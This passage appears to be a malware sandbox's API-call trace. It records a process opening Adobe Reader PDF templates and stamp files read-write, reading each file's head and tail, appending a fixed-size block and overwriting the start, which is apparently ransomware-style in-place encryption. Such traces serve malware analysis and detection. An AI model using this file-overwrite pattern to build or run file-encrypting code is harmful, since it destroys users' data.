dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6308c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.470] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.472] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xf9db [0032.472] ReadFile (in: hFile=0x12c, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.472] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xf9db [0032.472] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.472] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.472] WriteFile (in: hFile=0x12c, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.473] CloseHandle (hObject=0x12c) returned 1 [0032.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.474] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.474] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x5944 [0032.474] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.474] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.474] ReleaseMutex (hMutex=0x128) returned 1 [0032.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.474] ReadFile (in: hFile=0x12c, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.476] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4944 [0032.476] ReadFile (in: hFile=0x12c, lpBuffer=0x25cb238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25cb238*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.476] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4944 [0032.477] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.477] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.477] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.477] CloseHandle (hObject=0x12c) returned 1 [0032.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.478] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.478] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x11426 [0032.478] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.478] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.478] ReleaseMutex (hMutex=0x128) returned 1 [0032.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6308c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.478] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.482] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x10426 [0032.482] ReadFile (in: hFile=0x12c, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.482] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x10426 [0032.482] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.482] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.482] WriteFile (in: hFile=0x12c, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.482] CloseHandle (hObject=0x12c) returned 1 [0032.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.484] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.484] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x107e2 [0032.484] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.484] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.484] ReleaseMutex (hMutex=0x128) returned 1 [0032.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.484] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.488] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xf7e2 [0032.488] ReadFile (in: hFile=0x12c, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.492] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xf7e2 [0032.492] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.492] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.492] WriteFile (in: hFile=0x12c, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.492] CloseHandle (hObject=0x12c) returned 1 [0032.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.494] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.494] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x892d [0032.494] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.494] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.494] ReleaseMutex (hMutex=0x128) returned 1 [0032.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e6308c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0032.494] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.514] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x792d [0032.514] ReadFile (in: hFile=0x12c, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.518] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x792d [0032.518] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.518] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.518] WriteFile (in: hFile=0x12c, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.518] CloseHandle (hObject=0x12c) returned 1 [0032.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.519] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.519] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb7c2 [0032.520] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.520] ReleaseMutex (hMutex=0x128) returned 1 [0032.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0032.520] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.524] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xa7c2 [0032.524] ReadFile (in: hFile=0x12c, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.524] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xa7c2 [0032.524] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.524] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.524] WriteFile (in: hFile=0x12c, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.524] CloseHandle (hObject=0x12c) returned 1 [0032.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.525] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.525] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x9306 [0032.526] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.526] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.526] ReleaseMutex (hMutex=0x128) returned 1 [0032.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6308c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.526] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.528] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8306 [0032.528] ReadFile (in: hFile=0x12c, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.528] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8306 [0032.529] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.529] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.529] WriteFile (in: hFile=0x12c, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.529] CloseHandle (hObject=0x12c) returned 1 [0032.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.530] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.530] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x9a88d [0032.530] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.530] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.530] ReleaseMutex (hMutex=0x128) returned 1 [0032.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0032.530] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.534] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.539] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9988d [0032.539] ReadFile (in: hFile=0x12c, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.540] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9988d [0032.541] WriteFile (in: hFile=0x12c, lpBuffer=0x1df0de8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.541] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.541] WriteFile (in: hFile=0x12c, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, 